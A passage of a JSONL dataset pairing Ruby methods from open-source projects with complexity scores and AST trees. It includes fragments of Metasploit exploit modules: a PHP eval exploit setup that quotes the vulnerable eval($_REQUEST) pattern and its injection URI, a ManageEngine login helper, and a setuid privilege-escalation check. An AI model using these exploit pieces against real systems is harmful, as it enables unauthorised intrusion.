hildren\":[\"@execution_deadline\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@logger\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Pipeline\"]},\"Logger\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@max_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"current_application_settings\"]},\"ci_max_includes\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@max_total_yaml_size_bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"current_application_settings\"]},\"ci_max_total_yaml_size_bytes\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@total_file_size_in_bytes\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"self\",\"children\":[]}]},null]}]}]}","id":"c015dfb4-568d-4943-9b46-ca6fcad6c444"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/serializers/api/point_serializer.rb","start_line":13,"raw_source":"def call\n point.attributes.except(*EXCLUDED_ATTRIBUTES).tap do |attributes|\n lat = point.lat\n lon = point.lon\n\n attributes['latitude'] = lat&.to_s\n attributes['longitude'] = lon&.to_s\n end\n end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"point\"]},\"attributes\"]},\"except\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EXCLUDED_ATTRIBUTES\"]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lat\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"point\"]},\"lat\"]}]},{\"type\":\"lvasgn\",\"children\":[\"lon\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"point\"]},\"lon\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"latitude\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lat\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"longitude\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lon\"]},\"to_s\"]}]}]}]}]}","id":"7ded9d35-83a9-4670-8341-c2c08837572f"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/instance_serializer.rb","start_line":147,"raw_source":"def limited_federation?\n Rails.configuration.x.mastodon.limited_federation_mode\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"limited_federation?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"x\"]},\"mastodon\"]},\"limited_federation_mode\"]}]}","id":"7be87d59-e789-4e3a-b0af-8b7df7cbe7de"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/php_eval.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Generic PHP Code Evaluation',\n 'Description' => %q{\n Exploits things like <?php eval($_REQUEST['evalme']); ?>\n It is likely that HTTP evasion options will break this exploit.\n },\n 'Author' => [ 'egypt' ],\n 'License' => BSD_LICENSE,\n 'References' => [ ],\n 'Privileged' => false,\n 'Platform' => ['php'],\n 'Arch' => ARCH_PHP,\n 'Payload' => {\n # max header length for Apache,\n # http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize\n 'Space' => 8190,\n # max url length for some old versions of apache according to\n # http://www.boutell.com/newfaq/misc/urllength.html\n # 'Space' => 4000,\n 'DisableNops' => true,\n 'BadChars' => %q|'\"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install\n 'Compat' =>\n {\n 'ConnectionType' => 'find',\n },\n 'Keys' => ['php'],\n },\n 'DisclosureDate' => '2008-10-13',\n 'Targets' => [ ['Automatic', {}], ],\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n OptString.new('URIPATH', [ true, \"The URI to request, with the eval()'d parameter changed to !CODE!\", '/test.php?evalme=!CODE!']),\n OptString.new('HEADERS', [false, \"Any additional HTTP headers to send, cookies for example. Format: \\\"header:value,header2:value2\\\"\"])\n ]\n )\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Generic PHP Code Evaluation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Exploits things like <?php eval($_REQUEST['evalme']); ?>\\n\"]},{\"type\":\"str\",\"children\":[\" It is likely that HTTP evasion options will break this exploit.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"egypt\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"BSD_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[8190]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"'\\\"`\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ConnectionType\"]},{\"type\":\"str\",\"children\":[\"find\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Keys\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"php\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2008-10-13\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"URIPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI to request, with the eval()'d parameter changed to !CODE!\"]},{\"type\":\"str\",\"children\":[\"/test.php?evalme=!CODE!\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HEADERS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Any additional HTTP headers to send, cookies for example. Format: \\\"header:value,header2:value2\\\"\"]}]}]}]}]}]}]}","id":"9c31b243-dc2f-41d5-97d6-85c218fb194d"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails.rb","start_line":81,"raw_source":"def env=(environment)\n @_env = ActiveSupport::EnvironmentInquirer.new(environment)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"env=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"environment\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@_env\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"EnvironmentInquirer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"environment\"]}]}]}]}","id":"74866ff9-74e5-4fb6-93d4-55e015455feb"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request_workflow.rb","start_line":1057,"raw_source":"def load_ar_obj(ci)\n return load_ar_objs(ci) if ci.kind_of?(Array)\n return ci unless ci.kind_of?(OpenStruct)\n\n ci.evm_object_class.to_s.camelize.constantize.find_by(:id => ci.id)\n end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"load_ar_obj\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ci\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_ar_objs\",{\"type\":\"lvar\",\"children\":[\"ci\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"OpenStruct\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci\"]},\"evm_object_class\"]},\"to_s\"]},\"camelize\"]},\"constantize\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci\"]},\"id\"]}]}]}]}]}]}","id":"a11cdf12-3b5c-43f5-b194-b6f4b8cb8218"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/session_map.rb","start_line":50,"raw_source":"def lookup(load_balancer)\n name = load_balancer.name\n validate_db_name(name)\n session_map[name]\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lookup\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"load_balancer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"load_balancer\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"validate_db_name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_map\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"53d9ccb3-33d7-4d2f-a0f8-3df00c9559fd"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/v10/rpc_session.rb","start_line":221,"raw_source":"def rpc_ring_read(sid, ptr = nil)\n s = _valid_session(sid,\"ring\")\n begin\n res = s.shell_read()\n { \"seq\" => 0, \"data\" => res.to_s }\n rescue ::Exception => e\n error(500, \"Session Disconnected: #{e.class} #{e}\")\n end\n end","complexity_score":11.43,"ast_json":"{\"type\":\"def\",\"children\":[\"rpc_ring_read\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sid\"]},{\"type\":\"optarg\",\"children\":[\"ptr\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[null,\"_valid_session\",{\"type\":\"lvar\",\"children\":[\"sid\"]},{\"type\":\"str\",\"children\":[\"ring\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"shell_read\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"seq\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"int\",\"children\":[500]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Session Disconnected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}]}]}","id":"f066b21d-812f-4c9c-96a8-7a64bc2dadd9"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/manageengine_auth_upload.rb","start_line":254,"raw_source":"def authenticate(cookie, username, password)\n res = send_request_cgi!({\n 'method' => 'POST',\n 'uri' => normalize_uri('/j_security_check;' + cookie.to_s.gsub(';', '')),\n 'ctype' => 'application/x-www-form-urlencoded',\n 'cookie' => cookie,\n 'vars_post' => {\n 'j_username' => username,\n 'j_password' => password,\n 'logonDomainName' => datastore['DOMAIN_NAME']\n }\n })\n if res && (res.code == 302 || (res.code == 200 && res.body.to_s =~ /redirectTo=\"\\+'HomePage\\.do';/))\n # sd and ae respond with 302 while sc responds with a 200\n return true\n else\n return false\n end\n end","complexity_score":23.83,"ast_json":"{\"type\":\"def\",\"children\":[\"authenticate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookie\"]},{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"password\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/j_security_check;\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},\"to_s\"]},\"gsub\",{\"type\":\"str\",\"children\":[\";\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/x-www-form-urlencoded\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"j_username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"j_password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"logonDomainName\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DOMAIN_NAME\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"redirectTo=\\\"\\\\+'HomePage\\\\.do';\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"12461870-55c3-4fce-bd35-b69a0f8bd694"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/parsed_mentions.rb","start_line":97,"raw_source":"def parse_mentions(message)\n cooked_stripped(message).css(\".mention\").map(&:text)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_mentions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cooked_stripped\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},\"css\",{\"type\":\"str\",\"children\":[\".mention\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]}]}]}]}","id":"da8ea7ce-3450-4a86-ac98-e822e069ddec"} {"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/testing.rb","start_line":40,"raw_source":"def __local_test_mode=(value)\n Thread.current[:__sidekiq_test_mode] = value\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"__local_test_mode=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"__sidekiq_test_mode\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"ff0bfe5d-db55-49d3-82bd-3adb3af85cb5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/create_package_service.rb","start_line":52,"raw_source":"def package_attrs(attrs)\n {\n creator: package_creator,\n name: params[:name],\n version: params[:version],\n status: params[:status]\n }.compact.merge(attrs)\n end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"package_attrs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"creator\"]},{\"type\":\"send\",\"children\":[null,\"package_creator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]}]},\"compact\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]}","id":"9c72b529-41ab-48e8-9f7a-6b78281670f0"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/automation_manager/provision.rb","start_line":10,"raw_source":"def my_queue_name\n source.manager&.queue_name_for_ems_operations\n end","complexity_score":3.8,"ast_json":"{\"type\":\"def\",\"children\":[\"my_queue_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"manager\"]},\"queue_name_for_ems_operations\"]}]}","id":"783b229f-bba5-46cc-80b8-c46143757b5b"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/literal_assignment_in_condition.rb","start_line":62,"raw_source":"def all_literals?(node)\n case node.type\n when :dstr, :xstr\n false\n when :array\n node.values.all? { |value| all_literals?(value) }\n when :hash\n (node.values + node.keys).all? { |item| all_literals?(item) }\n else\n node.respond_to?(:literal?) && node.literal?\n end\n end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"all_literals?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"dstr\"]},{\"type\":\"sym\",\"children\":[\"xstr\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"values\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"all_literals?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"values\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"keys\"]}]}]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[null,\"all_literals?\",{\"type\":\"lvar\",\"children\":[\"item\"]}]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"literal?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"literal?\"]}]}]}]}","id":"542ec1c7-5a7e-43ad-a9e7-9131f72761f6"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/asan_suid_executable_priv_esc.rb","start_line":134,"raw_source":"def check\n return CheckCode::Safe(\"#{suid_exe_path} file not found\") unless file? suid_exe_path\n return CheckCode::Safe(\"#{suid_exe_path} is not setuid\") unless setuid? suid_exe_path\n\n vprint_good \"#{suid_exe_path} is setuid\"\n\n # Check if the executable was compiled with ASan\n #\n # If the setuid executable is readable, and `ldd` is installed and in $PATH,\n # we can detect ASan via linked libraries. (`objdump` could also be used).\n #\n # Otherwise, we can try to detect ASan via the help output with the `help=1` option.\n # This approach works regardless of whether the setuid executable is readable,\n # with the obvious disadvantage that it requires invoking the executable.\n\n if readable? suid_exe_path && command_exists?('ldd')\n unless cmd_exec(\"ldd #{suid_exe_path}\").to_s.include? 'libasan.so'\n vprint_error \"#{suid_exe_path} was not compiled with ASan\"\n return CheckCode::Safe\n end\n else\n unless cmd_exec(\"ASAN_OPTIONS=help=1 #{suid_exe_path}\").include? 'AddressSanitizer'\n vprint_error \"#{suid_exe_path} was not compiled with ASan\"\n return CheckCode::Safe\n end\n end\n vprint_good \"#{suid_exe_path} was compiled with ASan\"\n\n unless has_gcc?\n print_error 'gcc is not installed. Compiling will fail.'\n return CheckCode::Safe\n end\n vprint_good 'gcc is installed'\n\n CheckCode::Appears\n end","complexity_score":42.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file?\",{\"type\":\"send\",\"children\":[null,\"suid_exe_path\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suid_exe_path\"]}]},{\"type\":\"str\",\"children\":[\" file not found\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setuid?\",{\"type\":\"send\",\"children\":[null,\"suid_exe_path\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suid_exe_path\"]}]},{\"type\":\"str\",\"children\":[\" is not setuid\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suid_exe_path\"]}]},{\"type\":\"str\",\"children\":[\" is 